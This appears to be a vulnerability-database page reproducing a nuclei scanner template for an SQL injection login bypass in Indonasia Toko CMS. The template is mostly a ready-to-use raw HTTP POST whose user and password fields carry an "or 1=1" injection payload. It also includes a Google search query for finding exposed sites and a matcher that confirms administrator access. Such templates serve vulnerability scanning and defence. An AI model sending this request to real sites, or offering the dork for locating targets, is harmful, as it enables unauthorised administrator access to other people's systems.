indonasia-toko-cms-sql: Indonasia Toko CMS - SQL Injection

2025-08-01 Indonasia Toko CMS PoC Public

Description

Indonesia Toko CMS is susceptible to SQL Injection in its login system, enabling attackers to exploit vulnerabilities and bypass authentication by injecting malicious SQL code.

PoC

id: indonasia-toko-cms-sql

info:
  name: Indonasia Toko CMS - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    Indonesia Toko CMS is susceptible to SQL Injection in its login system, enabling attackers to exploit vulnerabilities and bypass authentication by injecting malicious SQL code.
  reference:
    - https://cxsecurity.com/issue/WLB-2019030008
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:"index.php?mnu=login"
  tags: sqli,toko,cms,vuln

http:
  - raw:
      - |
        POST /index.php?mnu=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=%27+or+1%3D1+limit+1+--+-%2B&pass=%27+or+1%3D1+limit+1+--+-%2B&Login=Login

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert('Administrator"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f130a188ca908ae017265e8e5cafc047a117bfee347b14aa13b00a925f2b6fa10221009e45bfad970fbc1f2e2bb13d6da3e3faa649ddf46e366f555caaa704929f17e5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/indonasia-toko-cms-sql.yaml

References

Related Vulnerabilities